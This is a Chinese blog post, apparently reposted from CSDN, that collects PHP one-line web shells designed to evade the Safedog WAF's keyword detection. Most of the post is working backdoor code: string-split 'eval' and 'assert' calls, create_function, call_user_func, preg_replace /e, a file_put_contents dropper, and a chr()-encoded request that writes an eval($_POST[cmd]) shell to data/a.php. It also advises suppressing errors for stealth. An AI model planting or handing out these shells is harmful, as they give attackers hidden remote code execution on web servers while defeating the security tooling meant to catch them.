过狗的一句话

php过狗一句话:

waf通常以关键字来判断是否是一句话木马。

<?php 
  $test="e#v#a#l";
  $test1=explode("#",$test);
  $test2=$test1[0].$test1[1].$test1[2].$test1[3];
  $test2($_POST['zt']);
?>

这是eval函数的一句话的写法

<?php 
  $test="a#s#s#e#r#t";
  $test1=explode("#",$test);
  $test2=$test1[0].$test1[1].$test1[2].$test1[3].$test1[4].$test1[5];
  $test2($_POST['zt']);
?>

 这是assert函数的一句话的写法

<?php 
$test =create_function('',$_POST['zt']);
$test();
?>
把用户传的数据生成一个test()函数,然后执行。
<?php 
@call_user_func(assert,$_POST['zt']);
?>
call_user_func这个函数可以调用其他函数,
<?php
$test='<?php $z=$_POST['zt']; eval($z); ?>';
file_put_contents("zt.php",$test);
?>
先生成一个zt.php的文件,再把$test的内容放进去;
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

 parse_str()会把$str的字符串解析$a=eval的形式,例子:

<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>

打印结果:

Bill
60

<?php
function fun()
{ return $_POST['zt'];}
@preg_replace("/test/e",fun(),"woshinibaba");
?>

使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行,也就是把fun()当php代码执行。

如果输入一个参数

?zt=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

类似于下面这种过狗方式:

<?php 
$a=chr(101);
$b=chr(118);
$c=chr(97);
$d=chr(108);
$e="($_POST['zt']);";
echo ($a.$b.$c.$d.$e);
?>

注意使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显错误信息,增加隐蔽性。

原创文章 45 获赞 7 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_41814777/article/details/102649900